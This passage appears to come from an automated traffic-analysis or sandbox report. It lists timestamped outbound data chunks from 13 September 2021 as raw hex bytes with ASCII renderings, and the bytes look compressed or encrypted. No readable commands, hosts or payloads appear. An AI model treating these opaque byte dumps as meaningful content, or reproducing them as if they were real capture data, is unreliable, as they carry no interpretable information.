57 94 40 ef 37 8d cc fe e8 3e Data Ascii: #.pi7FSS5c\|ew1/lz#INP(lv$Y0lBP-]t{bE0" /$QCTt-+!JoH%/?~}0D2kw RF^W@7>
2021-09-13 04:32:10 UTC	5287	OUT	Data Raw: 83 aa 04 e0 e8 c5 90 7c 86 31 9f 33 8b 8c fc 03 a6 ad 92 c6 2e 5a 4d 63 16 af a6 47 17 55 d0 d5 73 97 d0 99 af 7d 2d 02 70 ab 1e fc 3b e5 09 83 f8 77 ff 81 fc 39 e4 d2 ea 0a 40 f7 cf 4b d4 05 59 7a be 00 dc 68 6b c3 5f 1a 18 e1 86 6b d3 c5 22 0c 17 dc 76 84 1d 6f 05 e2 8b dd ec 78 be d7 06 d8 47 50 ef ef 0a 40 3b 07 ee 85 7d 01 f1 ac c8 f6 83 04 c4 33 1e 79 37 8f 20 7a a1 d7 6e dc b7 9f 29 f2 b1 e3 09 72 8c 7d 0a 73 de 73 8b 03 a5 38 49 72 17 2b 00 95 90 c0 12 9a 47 a8 b4 f3 c9 25 f7 42 7d 8a f6 ff 57 0a 40 bc 6f 36 53 32 b6 fc d7 ca bf 6a 09 c0 58 d6 9f c1 ec e9 97 2d f6 b4 6d ad 0b 40 b0 96 33 00 5d 7c 01 08 22 11 a5 f7 f1 9f 23 c2 b9 af 4b ec 19 f3 a0 f7 b1 c2 2a 17 ee b8 82 08 dd 6b 4d f0 5f 77 68 8c 4b d6 33 a1 9d a3 95 70 2a f2 44 be a1 cd 7f 8d 2a Data Ascii: \|13.ZMcGUs}-p;w9@KYzhk_k"voxGP@;}3y7 zn)r}ss8Ir+G%B}W@o6S2jX-m@3]\|"#KkM_whK3pD*
2021-09-13 04:32:10 UTC	5303	OUT	Data Raw: 3f 4f 00 32 d1 b2 e0 f3 e3 12 d0 c8 3f e6 fc 0f 84 ea 0a 40 90 1a 90 47 00 e6 42 e5 5f 35 25 60 48 ea 55 87 ea 08 40 39 86 f8 bb 9c c7 38 12 50 c4 9e 15 80 8a 91 77 ce 39 f7 8b 28 74 04 a0 1c a3 dd 8e 15 62 f2 8f 81 c4 fb 8d 05 60 24 fd 02 7b fe 81 e4 4d 28 fa 61 80 fc ab 0d 01 08 22 09 17 e8 53 5c 59 27 63 7d 61 57 15 01 01 98 ba 35 3e 67 6c de 40 16 a0 22 02 10 55 80 ad 00 2c b9 e3 67 11 80 f5 5e a9 a0 0b 16 f0 07 e0 1f 88 3a ce 36 19 80 10 80 90 7f c2 30 fa 53 00 2a 63 f9 3e 79 58 db 02 b0 2a 5c 61 27 d2 2e 30 a6 3a c4 e6 aa 05 01 78 d0 0b df 48 06 20 04 e0 b3 3f 13 75 78 e6 2b da f2 f2 99 46 00 e2 e7 3b 7e de 67 09 c0 89 91 00 bc fa a5 4f 68 de ea 8c 00 ec 39 ed 5b 6a 34 fe 47 6a 30 65 19 1d 33 65 35 1d 39 9d e8 88 a9 10 80 15 74 cc a4 52 11 80 ae 04 Data Ascii: ?O2?@GB_5%`HU@98Pw9(tb`${M(a"S\Y'c}aW5>gl@"U,g^:60Sc>yX\a'.0:xH ?ux+F;~gOh9[j4Gj0e3e59tR
2021-09-13 04:32:10 UTC	5319	OUT	Data Raw: ef a7 56 09 e9 a7 96 0b a9 a7 56 52 fa 69 fe 7a 3f bd 92 12 4f ad e0 39 97 f2 fd f9 fb e1 e9 25 b4 ee 33 bf d0 06 cf fe 4c 5b 3e b1 88 8e 7d e2 1d ba e5 93 65 34 9d 3f 73 8d e5 ef b7 d3 06 7f 48 9b f4 78 9d ea 76 9e 44 45 9d 66 f0 cf 8a a9 94 ee 3c 5e fe d3 22 d1 65 34 25 ba 3f c6 91 7f d6 74 19 46 ff ba f8 49 ba fd 95 4f 69 71 29 d1 7b ab f9 33 dc e7 cb a9 e5 eb f3 e9 d0 17 16 d2 21 af fe 4a fb bd ba 9c f6 15 56 d2 7e af ac a6 fd 5f 66 5e 5b 21 1c f0 ca 2a a6 94 f6 7d 79 45 c4 7e af ac 94 b1 7b bf c6 bc ba 9a f6 7a 6d 35 ed f3 46 19 ed f9 46 29 ed c1 fc 7b 1c c7 f1 65 f4 af 09 cc f8 72 da 63 dc 2a da 67 1c cf 3f 6e 99 b0 df f8 e5 b4 ff 04 9e 7b e2 ca 08 b4 f9 7d 07 4e 5a 15 61 32 0b cb 6c a6 a1 c9 2a 04 58 5e 7c d4 a4 32 3a 9a 8f c1 b1 3c e6 38 6e 3b 7e Data Ascii: VVRiz?O9%3L[>}e4?sHxvDEf<^"e4%?tFIOiq){3!JV~_f^[!}yE~{zm5FF){ercg?n{}NZa2l*X^\|2:<8n;~
2021-09-13 04:32:10 UTC	5335	OUT	Data Raw: 96 88 cc ab 18 24 01 31 89 45 5e 91 6d 4d 0c 12 24 08 b1 91 a0 32 75 b8 83 59 0f 50 31 d3 89 5f e5 6b 1e 29 fd 65 8d 3f 89 5c c4 d8 56 32 42 92 ca 36 ea b8 0d 49 41 64 3d c0 d1 86 0b de a4 c4 79 63 f9 f8 51 fc 5e a0 0d 0c 17 b1 87 ac d3 58 67 11 9f 39 59 8b 51 80 e8 83 28 e4 31 65 4a 34 de 43 fb d9 6c 8b cf 3b ff 6e b7 79 82 3f 87 fc bb d9 9a 7f 47 5b f1 ef 7f 2b fe bd 6f cd 60 bb 25 e0 36 de 4e b5 ee cd 3c 2e 24 5b 1a 12 2d f8 3b c1 01 d3 ef 11 e1 9b 3e 8d fb c9 9a 9f e0 31 2a 3c f5 31 29 cd 1a a2 fc dd a0 d1 7f 19 12 d0 4c 17 0e c8 10 82 fc 1d a7 88 f8 f3 90 64 1a 4c 90 ec c8 12 c8 3e 15 80 8a d6 5b 32 8e 0b e5 1f b6 55 d6 61 6d 41 9d 3e ec ae 25 08 61 e6 0b 34 17 39 a6 31 7f c7 3b a4 9b 60 3d 43 f0 40 84 64 13 fe ce 77 48 34 e6 bf 07 76 3b d5 d8 25 3a Data Ascii: $1E^mM$2uYP1_k)e?\V2B6IAd=ycQ^Xg9YQ(1eJ4Cl;ny?G[+o`%6N<.$[-;>1*<1)LdL>[2UamA>%a491;`=C@dwH4v;%:
2021-09-13 04:32:10 UTC	5351	OUT	Data Raw: 71 1e 25 8f e4 eb 43 04 1d 83 eb 2e 38 a6 b3 90 3e ca 50 70 74 97 58 d2 c7 5d 48 49 26 5b 29 11 76 5c 26 b8 14 10 61 07 6c 7d aa e6 45 59 49 d6 0a 4b 25 55 bb ab 90 ae 03 e1 c7 d4 33 51 65 e9 fa 90 59 57 53 41 03 13 ad 55 88 48 2d b7 6c 70 a3 89 de 6a 18 2d 25 ca 0b 12 4b 23 c2 ec d4 48 9d 36 09 49 26 11 62 5c ba 40 ae 81 44 9d 1e 4c 77 4a d6 0e 4b 13 8d 86 76 ae ab dd 5d ea a5 cd 89 50 33 d7 0b 91 d6 33 27 05 f5 6f c8 00 f7 a2 b8 eb a5 55 04 a6 73 56 96 02 08 b5 2c 40 b6 25 1a df 64 44 5e 53 48 37 23 de 92 0e 90 69 a9 93 8c 5c 43 09 71 96 3a 89 ff 80 5b 92 56 c2 25 9b 62 4a 68 88 1f c1 e6 f6 09 85 9d 6d e3 71 dc 12 62 ce 44 b6 dd 43 c9 13 ee 12 20 ea e2 30 d2 8e fb d9 d2 95 77 3e c9 53 4c 99 68 66 44 5f e2 e4 07 28 71 8a cd 0a da 8c 39 15 49 0f 18 2e 93 Data Ascii: q%C.8>PptX]HI&[)v\&al}EYIK%U3QeYWSAUH-lpj-%K#H6I&b\@DLwJKv]P33'oUsV,@%dD^SH7#i\Cq:[V%bJhmqbDC 0w>SLhfD_(q9I.
2021-09-13 04:32:10 UTC	5367	OUT	Data Raw: 29 b4 3a 8d d6 26 d4 30 a0 ce 15 80 a7 f0 38 21 c9 03 9a e5 24 b1 3f 9f 33 e0 c4 0c 54 5c 2a d9 ea 95 50 fa b9 32 90 c1 fe c1 5c cf f7 ad 89 41 70 ed a9 7f 9c c6 9c 21 98 ec c0 8a 2f d7 20 dc 20 de 5a 1b 02 61 77 a6 ad 6f 63 db b0 8d fa e8 f1 9a 70 24 a5 6b f5 a1 1e d3 90 ed 54 64 cd 48 ec 1e 13 8c 15 43 b0 e6 9f db 5f 8e 41 bd 01 92 11 40 3a 06 1c de 56 10 69 07 11 c9 a5 88 48 48 41 94 1e d2 a7 12 98 28 40 83 26 20 91 24 24 56 04 86 74 8c 80 2c b7 c0 95 5d 2a bc 5c 42 c1 97 0d 4f fc f9 1c 65 32 e6 2a 2a 04 75 1f 32 0d 52 4d 11 b9 e6 d4 e9 76 e2 88 0b 42 78 5c d3 ee 0a 48 83 7f fd 72 0f 72 6f 59 04 68 70 6c e6 b5 eb 35 c8 f5 1e 19 0a cc d4 31 17 4b 09 24 0b b0 e2 8b 40 95 81 2e ba 36 a0 12 48 c2 2b 63 65 5f 48 f7 2c 70 5b 1d db 47 a6 fb f6 30 d4 0b a3 fe Data Ascii: ):&08!$?3T\P2\Ap!/ Zawocp$kTdHC_A@:ViHHA(@& $$Vt,]\BOe2**u2RMvBx\HrroYhpl51K$@.6H+ce_H,p[G0
2021-09-13 04:32:10 UTC	5383	OUT	Data Raw: 70 2f 85 80 3c 0a b0 23 a4 f6 bb d5 76 1b 17 1d 79 67 e0 2d 82 78 07 dc c3 09 0e 0a ca 05 1d 84 8f a1 e8 b6 06 3d 05 78 de 63 6e c1 39 34 dd 58 65 41 32 71 b0 8d 41 cf 41 3c 4e b0 cf dc 17 f0 8b c0 1f 6d 83 42 e4 63 e8 93 a9 be 3a c1 39 06 3a b9 4f 50 47 f7 b1 23 1e 63 88 33 f0 17 1d 91 e7 16 4e 1d 8e 09 9f c3 8d 9e 3b c0 bc 23 3b 17 a6 f6 27 8f 32 a5 8e 7e 26 92 ec 2f 16 9d a7 61 af 20 da 7f 24 6e 8f 7a 16 6f 3f c7 d1 c2 1f 7c ed 3f 55 e2 d8 28 c4 99 95 78 5f e1 a9 b7 8c 78 8c 6f 6f 43 ea d4 77 20 75 ca bb 90 38 e5 9d b0 93 df 32 23 04 4f 7a d3 14 4c 05 36 d3 81 19 0f 09 11 69 4a 2f af 0a 6c 9e 3f 80 c0 e0 f5 2c fc 49 c1 b5 ff 2c 02 da 11 80 21 04 1a 00 4c 9e 8a ef e7 b4 77 21 79 fa ff 38 46 bf 33 cd 35 ff 74 02 80 3a 5e 10 e4 2c 3c 1e 2c 0c e2 c9 39 96 Data Ascii: p/<#vyg-x=xcn94XeA2qAA<NmBc:9:OPG#c3N;#;'2~&/a $nzo?\|?U(x_xooCw u82#OzL6iJ/l?,I,!Lw!y8F35t:^,<,9
2021-09-13 04:32:10 UTC	5399	OUT	Data Raw: 35 84 bf a7 a7 e6 39 01 40 81 3f 1f 00 6a 08 2c 17 00 e9 da 7f 3e 00 7c 79 36 f8 01 f0 a8 fb f0 33 05 7d 06 b2 00 e8 c3 37 5d 8b 03 a0 07 02 e5 35 db 1a 00 f2 71 0d 7e 71 d9 e7 e1 e8 71 36 17 ff 7c 00 18 dc 17 00 f4 a0 9f ce 7d 9c 9b 0f fd 74 be c7 ac ab e4 6b 29 56 ec f9 6d 06 00 cd 48 40 17 ec e2 8a 03 3e 29 ee 78 b0 7f 23 00 96 55 1c 00 9a 29 c0 f4 da f6 f5 24 01 40 c2 3f 01 40 5a ec 63 23 00 46 01 d0 59 fc 43 00 30 b5 4f 47 ae 24 00 ee 67 16 02 31 f8 47 b7 5b 19 00 7d e8 a7 73 e0 cf cd 87 7a 0d a9 1c 00 e4 14 00 32 02 36 10 00 83 1c f0 73 8b 00 a0 c5 3f de ef c1 3f ee b8 57 a2 00 28 78 a7 f0 4f 00 50 23 60 83 01 90 0a e0 4f 0a 01 90 de 53 29 00 d4 20 d7 50 00 0c 10 50 03 20 65 01 50 16 ff 10 f8 0b 00 d0 2e 36 42 53 7e cd eb bd 67 d2 00 78 c6 07 06 fd Data Ascii: 59@?j,>\|y63}7]5q~qq6\|}tk)VmH@>)x#U)$@?@Zc#FYC0OG$g1G[}sz26s??W(xOP#`OS) PP eP.6BS~gx
2021-09-13 04:32:10 UTC	5415	OUT	Data Raw: 9f 14 80 5f 2b 02 a0 c6 3e 5f fa dc a0 47 0c 02 36 1a 00 3b d7 31 00 6e f6 d4 0a f8 fe e3 b3 e1 a0 6e d9 00 00 ff 43 d3 c6 5e a9 82 cd 5e 4c 33 00 a6 de 70 00 90 00 af 39 01 b0 4c 04 dc 08 80 b8 4f 10 d0 87 7a 0d a9 29 00 c8 65 f8 3a 80 15 dd ea 19 00 2b be cc c0 37 f1 bc ef f5 04 9e 06 fc db 3e 79 f8 73 9f 34 fc ab 6f 1e f6 e8 97 e5 51 6d 17 0c cd c2 9d a3 d6 32 6a 4c af 33 2b 00 d3 4a be 04 80 87 f5 58 08 3f 79 65 0e 03 60 ea c1 b5 90 c4 df 5f fe 37 41 01 e0 37 6f 34 00 d8 d1 02 20 3d d6 07 80 87 e2 6b c9 08 40 01 c0 83 9b 19 00 69 4a 71 24 e7 b8 c6 3f 7a 0f 1a ff 9a 03 00 83 68 5f 90 99 f2 4b d1 ea be 74 7d 3f 9e ea 1b 81 3f 8d 7f 10 c0 1f a5 af f1 27 f8 77 e1 f0 0c 5c 3c 3c cb 31 fc e1 31 da 76 c0 f3 19 fe ec 6a bf 32 ed 57 ae f9 17 2c f2 31 c6 4c f5 Data Ascii: _+>_G6;1nnC^^L3p9LOz)e:+7>ys4oQm2jL3+JX?ye`_7A7o4 =k@iJq$?zh_Kt}??'w\<<11vj2W,1L
2021-09-13 04:32:10 UTC	5431	OUT	Data Raw: f4 94 7c d5 61 44 00 fe b7 05 a0 97 04 d4 fc e9 02 90 e1 7e 83 ff ef 02 d0 8b ed 15 80 db 4b 2a 01 a8 e7 02 74 08 40 87 04 d4 11 7f 4e 01 c8 73 01 9a 02 90 a3 ff ea 22 00 53 62 ee c7 f2 4f 63 1e 87 96 75 f4 9f 26 ed 0e 6a 4d 09 f8 4f 15 80 a6 fc fb 07 0b 40 96 7f 7f a6 00 d4 e3 6c 3c d2 7d 4d cc 73 c8 71 53 08 40 9f 21 00 75 e4 9f 97 00 74 8b 3f 8d 19 f1 e7 c9 ff 8a 00 34 04 9f a7 04 34 b6 6f 8b 00 74 44 00 d6 52 00 3a 22 00 5d 02 d0 2d 01 3d a5 5e 5d 70 45 ff 39 04 e0 b7 45 4a fe 79 44 00 ee 08 01 98 24 ff b6 51 00 d6 6f 5b 2e 02 f0 c0 36 1b f1 90 25 00 df d9 e8 12 80 5d 68 5f 96 7d 7f a6 00 dc 1e 09 e8 25 ff 98 6d 10 80 8c 97 ec f3 c2 53 ea 55 87 3b 22 d0 4b fa 99 d4 46 00 7a 49 40 dd ff 17 08 40 5e af 51 00 52 cb 15 81 9b 65 54 e1 88 cc 72 5c 3e a1 02 Data Ascii: \|aD~K*t@Ns"SbOcu&jMO@l<}MsqS@!ut?44otDR:"]-=^]pE9EJyD$Qo[.6%]h_}%mSU;"KFzI@@^QReTr\>
2021-09-13 04:32:10 UTC	5447	OUT	Data Raw: 04 e4 75 4b 00 ba c5 9f 29 ff b8 22 af 19 8d 57 5b 4c 01 e8 96 7a 6e 6a 23 ff b6 4b 00 ea 68 3e c6 bd cd 4b fe 31 86 00 e4 f4 df ba 0a 40 5b fe d9 02 30 82 06 9d f2 b0 7f e7 65 78 69 71 25 7e 2d 00 da 95 d2 8f de e9 95 38 ac 67 a1 21 00 89 1e 74 2e 53 00 1a d2 ce 94 7d a9 30 c7 57 8b 97 fc 63 52 09 40 2f f9 c7 f4 53 82 af 26 64 be 3f 2d 01 07 d0 b5 a6 40 cb 3f 2d 00 9d 29 bf 8c 4a fb e5 b9 fc 34 52 e0 43 8a 82 70 4b cf cb 10 7a 2e 84 30 fc 43 83 44 a5 4d 60 58 15 11 42 fa 50 8d 53 fe d5 33 da 7a 43 42 68 30 24 2e e2 af e1 50 05 af d7 1f 4a 7d c3 e8 79 1d 1e b3 88 a0 de c8 28 11 b6 a9 3f 2a 22 91 7e 8d 47 57 60 e7 51 a5 68 4a ec 32 b2 18 bb 8f 2c c2 7e c4 81 c4 a1 23 0b 71 fc 98 52 9c 3a a6 04 67 64 16 e3 dc ac 62 5c 9c 55 8a ab c6 55 e0 c6 29 61 dc 31 23 Data Ascii: uK)"W[Lznj#Kh>K1@[0exiq%~-8g!t.S}0WcR@/S&d?-@?-)J4RCpKz.0CDM`XBPS3zCBh0$.PJ}y(?*"~GW`QhJ2,~#qR:gdb\UU)a1#
2021-09-13 04:32:10 UTC	5463	OUT	Data Raw: a5 f8 23 52 55 f7 65 78 9e 3f 26 95 f8 f3 bf bb ce 81 5b fc 79 09 c0 b4 0f 13 e2 2f 15 b6 00 b4 08 7c b8 d9 81 48 3f 8d 3b ba cf 8d 3b ba 8f 70 57 ee f5 92 7e 7a 7e 3f df 57 d4 ba 22 fe b4 f4 0b 7c 97 90 7e 81 1f ca 04 2d fc 6c 92 0a 72 98 a8 4a ba 76 9a af 81 9e bb 2f 29 d2 cf 43 fc 99 72 cf 91 7e 6b a4 e1 6a 81 97 2c f2 9c 70 f4 9e 9e 63 2f d0 89 8e cd d2 cd ea 97 31 22 e1 12 28 c1 42 3f ee ad 68 2c 2d 4d 44 ac 70 eb 86 a3 f5 dc 92 85 e9 49 f7 49 c3 45 16 7a f2 3c 6d d4 32 dd e8 47 9f 71 8e 74 3a 4e 7a f7 28 ea f5 88 a1 3e ed ab e4 5f 08 f5 ba 04 51 9f da 46 dd 22 68 4c db 99 7a b4 6f a0 7b 15 1a f5 2d c5 be 7d d7 e2 aa 9c 35 e8 9c 1f 02 fd be c5 14 e2 93 25 15 38 7d e0 5a 34 ed 49 af cd fe f4 03 74 30 9d af 3f 9d 9b a5 df 40 da 77 60 10 69 43 e8 fc 83 Data Ascii: #RUex?&[y/\|H?;;pW~z~?W"\|~-lrJv/)Cr~kj,pc/1"(B?h,-MDpIIEz<m2Gqt:Nz(>_QF"hLzo{-}5%8}Z4It0?@w`iC
2021-09-13 04:32:10 UTC	5479	OUT	Data Raw: b2 0f ff ed dd 81 32 97 f0 df f5 95 17 80 56 82 14 d6 34 fd 00 06 02 30 9c 2e 4d 38 11 61 77 4e 7b 9e 6a 23 b1 10 19 87 e8 3f 69 f2 69 05 20 64 d2 6d b0 37 b7 5a 51 c3 a5 ca 9e 36 67 05 a5 08 40 ac cb 88 ec 99 c8 cb aa 18 93 c8 40 95 33 10 58 f9 04 a0 1d de 57 11 80 d8 2e fa 01 44 13 5a 11 80 3a 7d bf b0 a9 f4 2f 10 11 69 af 07 9a 00 1f 74 aa 90 a8 fe 27 23 9b 70 1c 88 b0 03 88 72 e3 7f 22 e8 30 2e e7 ea 48 28 4c 93 e6 b0 2a 00 ed 74 c8 2b 69 32 6b c7 65 38 dc a7 48 b7 c8 3e b1 8e 23 de aa 1d c2 f3 7f 48 89 a3 ce 35 52 6b ff e3 72 af 39 9a d2 d6 3a 5a 84 ee ec b6 7c 7d 44 98 59 29 86 a8 3a d9 cf 8f 2a 6e 06 9c 23 00 99 e0 39 88 0a 40 23 32 db d2 59 2a e6 82 e6 ce cc ed fc 17 57 45 cf 90 15 80 89 03 2e 33 fd 1f b6 fd b5 9d c6 f7 0b 7d f8 a1 f9 6f 7b 9c 0f Data Ascii: 2V40.M8awN{j#?ii dm7ZQ6g@@3XW.DZ:}/it'#pr"0.H(Lt+i2ke8H>#H5Rkr9:Z\|}DY):n#9@#2Y*WE.3}o{
2021-09-13 04:32:10 UTC	5495	OUT	Data Raw: c2 1a c1 97 0f fd b6 f8 04 82 d0 6e cf 8d 1c 74 a9 b4 00 54 f4 b7 55 05 a0 7e ef 62 08 7f 7b 0d 39 f2 0f d8 df 61 1f fc 47 0a f0 e5 5e 45 e8 77 5a d1 88 bf 7c e8 f7 bd 22 24 aa db 21 8c 04 44 33 de 78 20 f7 94 b8 f9 20 d1 8e 7f cf 3a f2 3b 8b 77 99 ff be 80 f0 cf 76 e1 f7 bf cb 1a 3a 61 e0 2a ba e6 f5 4d c4 9f 61 ba ff 13 a2 83 9e e4 bf 2b af eb cf 7f 13 0f a2 d4 e5 7d 29 71 49 8c 00 c4 78 3e 01 08 be b3 02 d0 15 7f 40 e5 9f 2b 01 5d 11 b6 b7 38 32 94 7f ae 00 0c c6 bf 6d 01 18 77 8c 2e 38 be ff 06 01 a8 12 30 58 f7 5f 27 00 41 b8 dd a8 c0 fb 57 08 40 91 74 2a f1 e2 24 5f 79 38 f2 0f b8 62 4f 71 f7 e5 ee 53 f9 6f 13 80 ee b8 1c cb bf 50 00 fa 12 b0 3c 01 08 76 4b 00 22 12 f0 bb 2a 00 9d e6 bf 10 80 1a 01 68 a2 ff 9e 13 f9 07 d0 df 9f a1 b1 e1 bb 22 00 21 Data Ascii: ntTU~b{9aG^EwZ\|"$!D3x :;wv:aMa+})qIx>@+]82mw.80X_'AW@t$_y8bOqSoP<vK"*h"!
2021-09-13 04:32:10 UTC	5511	OUT	Data Raw: 45 a3 40 dd 6b 27 e0 9e b8 b8 42 10 b8 52 b0 12 b8 d1 a3 60 4f e7 03 cd 44 1e 08 c0 dd 45 ff 53 24 1f 10 7e ee 70 8c 04 8c 9b a6 40 d2 55 16 08 2f 59 a7 be 5d d7 96 d2 0d 03 b6 1d 57 f2 71 61 19 48 47 6c 03 a5 8c db e3 11 19 a9 c3 f9 40 9f 88 e5 10 24 db f1 c6 91 90 07 02 32 d1 90 af 4d 23 fe cd 10 78 7b da cc 59 23 0c b1 1e d6 6f b8 dc 88 a7 c6 2b cd 74 48 46 88 c8 7a 18 e6 69 f5 57 f1 f1 22 62 70 15 a5 03 56 50 a6 91 8d 56 43 12 10 c9 0c cc cb a3 a9 31 fa 22 44 bf 80 8d 17 53 b6 29 ff ee 35 e2 df b4 86 f3 28 db 78 01 15 36 5d 44 45 cd 16 53 b5 56 cb a8 b8 19 8f 37 99 4b 05 0d bf a0 4c 83 4f 28 53 ef 43 ca 36 f8 27 15 35 fe 88 aa 36 fb 94 d2 f5 f9 f7 88 c9 36 f8 80 aa 36 fe 84 6a b7 9c 4d 47 76 5e 42 3f e8 bb 9e 4e 1b be 95 ce 9d 42 74 d6 64 a2 33 a6 32 Data Ascii: E@k'BR`ODES$~p@U/Y]WqaHGl@$2M#x{Y#o+tHFziW"bpVPVC1"DS)5(x6]DESV7KLO(SC6'5666jMGv^B?NBtd32
2021-09-13 04:32:10 UTC	5527	OUT	Data Raw: 1c ca 2d 55 ef 8d 48 ea d9 96 2a fa b2 d8 3b 71 10 b4 3a 61 20 54 b6 7d 38 45 c5 f1 0f 41 e5 71 31 34 5f 71 2c 15 1c e9 6f 84 de d1 34 6e 61 6f a8 3c a2 27 53 71 78 0f a8 38 b4 3b 23 a9 aa 2c ab e8 7a d3 75 e7 31 f5 e8 9e 58 48 80 51 0a 37 49 bb bd ad bc 23 71 47 ec 89 f7 59 d8 eb ce b8 dd 83 da bb f0 b9 b8 97 9f 05 1e 07 72 1f 23 86 63 6e 77 ad a4 8e 33 54 41 5a 90 42 32 45 2a 47 73 f5 68 96 85 f1 f3 e6 a3 05 a0 50 8e 08 14 12 cf a7 c6 09 40 92 d3 44 52 50 f3 35 25 a4 aa 70 13 45 60 96 00 d4 52 3b 25 00 45 02 72 14 eb c0 38 45 9d 45 e0 a0 38 22 30 24 02 7d 94 00 34 12 d0 a4 b3 c7 12 50 09 40 44 24 37 a5 92 37 16 1a cb 52 43 63 09 86 a2 02 35 4e 16 06 04 63 62 79 06 c1 75 fc fd 4a 2a b3 6e 79 3d 3a 46 af d5 eb 21 fa 58 8b e1 3e 8f b0 db 9a 7d a9 7e 82 d6 Data Ascii: -UH;q:a T}8EAq14_q,o4nao<'Sqx8;#,zu1XHQ7I#qGYr#cnw3TAZB2EGshP@DRP5%pE`R;%Er8EE8"0$}4P@D$77RCc5NcbyuJ*ny=:F!X>}~
2021-09-13 04:32:10 UTC	5542	OUT	Data Raw: 0a 62 90 cc d3 98 28 2e 4a ed b4 c7 b8 fd a5 0c 89 4b 2e 56 f2 1f 3c 17 4e b7 a5 54 5b 64 eb 73 0c 2e d5 f6 cc 24 12 81 c7 91 7a 78 5d 37 c5 6b fc 6f bc ee ff c2 fb f3 2f 12 b8 24 73 29 9d 9b 5a c5 a6 24 f9 08 12 7c 08 0b 5d 91 be 16 16 c1 d4 af 90 f5 85 12 f7 5a c4 6f 9a 2c 01 28 64 0b 40 96 80 81 e7 23 28 00 e9 59 29 85 b7 4d 42 00 d2 33 46 e3 4b aa 31 26 25 0a b0 b0 83 1e d3 2f 83 90 f4 d3 2c 43 01 c8 51 ae 48 79 02 30 2e 1a 92 10 80 82 88 3f 27 04 03 f2 8f 50 29 c0 0c 8d 69 c9 14 93 80 0a 11 80 5a 04 8a 04 64 f0 7b 4b 93 12 81 1d 62 3c 01 18 1d d2 b9 a8 08 cc 1d 4c 12 b0 3b e4 04 25 fb 1c a5 96 2b 12 62 d0 a5 12 17 a3 57 40 aa 21 01 d1 55 1c 91 6f 25 f0 e5 23 22 82 d2 8f 5a d4 f2 b2 18 b9 23 f1 1c 08 9a 66 fc 73 c9 10 7f 02 a7 e1 06 90 e5 fe fe 7c e8 Data Ascii: b(.JK.V<NT[ds.$zx]7ko/$s)Z$\|]Zo,(d@#(Y)MB3FK1&%/,CQHy0.?'P)iZd{Kb<L;%+bW@!Uo%#"Z#fs\|
2021-09-13 04:32:10 UTC	5558	OUT	Data Raw: 49 48 88 41 e9 5f 1b e1 a2 0f 16 4f 7a 51 6a 6f 9e a2 ff 10 12 38 26 ea 2f 89 c8 19 12 7c 5a d6 e8 c8 39 81 fa 29 c5 93 a6 49 84 50 84 1d 49 11 8a be 8b 36 36 51 78 c9 f6 48 5e 6e 52 6c e3 f5 b2 a2 f4 78 7e 7d 6c 29 e5 58 a4 93 3d 7e 82 a3 f6 d6 a5 6b 67 52 58 53 d7 4b 52 6a 05 92 6e 3e 32 1e 25 09 3d 1f 59 96 b5 3c 20 fd 7c 8a 09 40 79 0e f8 59 50 cf 47 ea 39 d1 cf 7c 23 68 bc 00 94 54 df 5f 05 60 10 7d 2c c8 52 13 80 96 9f 4c 00 5a 96 bd 00 14 62 01 98 4c fb b5 63 ff 85 64 5f 80 54 24 e0 4f 28 00 83 fb e0 74 e0 a6 a3 25 60 31 11 28 a4 24 60 28 65 58 c1 15 85 03 fd 8e 3d 4d 84 60 b9 e8 48 42 96 87 be dc cb 62 0f 5c 57 a0 79 11 50 a5 52 90 43 7d 09 bc 88 b7 96 80 44 1b 09 37 25 eb 64 de 47 a2 f6 08 8a 2a d4 d1 78 44 3c 7f 37 e3 1f 7f 48 aa 69 82 d1 7b 7b Data Ascii: IHA_OzQjo8&/\|Z9)IPI66QxH^nRlx~}l)X=~kgRXSKRjn>2%=Y< \|@yYPG9\|#hT_`},RLZbLcd_T$O(t%`1($`(eX=M`HBb\WyPRC}D7%dG*xD<7Hi{{
2021-09-13 04:32:10 UTC	5574	OUT	Data Raw: 26 da 9c 97 fb 76 c4 79 80 df 9f 3e 63 ba 59 60 ba 39 9d 07 91 ea 2e 3b 33 76 5e a3 cf 17 7d 8e f0 f6 a2 e0 2b a5 0b fa 9c 99 85 21 02 d0 2e d3 f0 f1 51 df 83 a1 fd 9c 45 00 82 ec b7 1d c2 ac c2 cf d2 7b fe ef 9d 91 24 a0 23 c5 12 ae b0 23 bc bc 43 f0 ca b2 78 eb 2d 2b 51 24 2a f9 b7 26 00 87 73 73 12 80 5a 02 ae 1a 01 b8 dd e3 67 47 0b 40 8d 11 80 d3 1d 4e 4f 78 69 9c 3e 33 be 3c 14 3c 89 a8 a9 1e 7e 66 46 88 4a 6c b0 cb db 84 be 0a bb 48 02 d0 08 c5 10 25 48 fb 11 99 ec 44 fb ac 79 f8 19 cd d4 b2 23 7d 77 86 96 77 21 22 53 a3 f6 61 8c 00 d4 e2 af 2d 00 89 d4 2c 19 18 01 48 0f 9c ba 5f c2 46 00 9a 87 d2 0e 74 3f 36 0d 8e 14 ec 91 86 09 ee 37 07 0f d1 23 e8 13 80 04 fe 5b 5f ed fd cc 7a 69 9f 20 02 41 5b 00 46 20 00 0b 12 90 f3 7b d2 4f e3 89 bc 59 29 09 Data Ascii: &vy>cY`9.;3v^}+!.QE{$##Cx-+Q$*&ssZgG@NOxi>3<<~fFJlH%HDy#}ww!"Sa-,H_Ft?67#[_zi A[F {OY)
2021-09-13 04:32:10 UTC	5590	OUT	Data Raw: 28 01 28 12 50 cb 3f 61 88 00 14 09 b8 50 01 e8 49 c0 45 09 40 89 c6 d1 02 10 2f ed 31 02 d0 15 80 32 8a 27 4b c0 28 f5 a4 6f 3f e0 08 be 94 2f 62 97 5b 5c a9 47 74 0a c0 d8 07 21 e3 08 40 2d 01 45 04 96 04 20 b0 91 80 7d 02 50 a3 65 a0 08 40 91 7f 2c 00 53 bf 6a 6d e1 07 d1 27 e9 76 d9 f4 bc 7f 61 38 7a 50 fa 11 d4 11 82 44 92 7f 04 3e 0b 3a 32 30 f5 2b 98 f5 2f 08 a2 40 02 32 fa ab 27 02 59 10 36 02 50 4b 40 d0 92 7f 92 16 65 1f 7f ee 90 80 56 f0 0d 61 8c 04 64 e1 e6 a4 5b a4 2c e9 23 b1 6b aa f3 cf 33 15 aa 8b 69 7a 51 88 f4 0b 91 7d ff 4e c7 39 4a 3f 1c 77 16 b8 f8 2d 1c 29 8c 73 e5 fc 78 ee c4 73 b0 39 3f c3 e0 1d 02 8f 8a 2d c2 9b cf fd 30 c8 4e ba 6e e2 f5 c8 d7 25 5d bb d5 29 74 dd 9f f4 a1 50 47 3c ee 4f 39 6a 98 07 11 42 dd c1 d1 7e 7f 5c 57 27 Data Ascii: 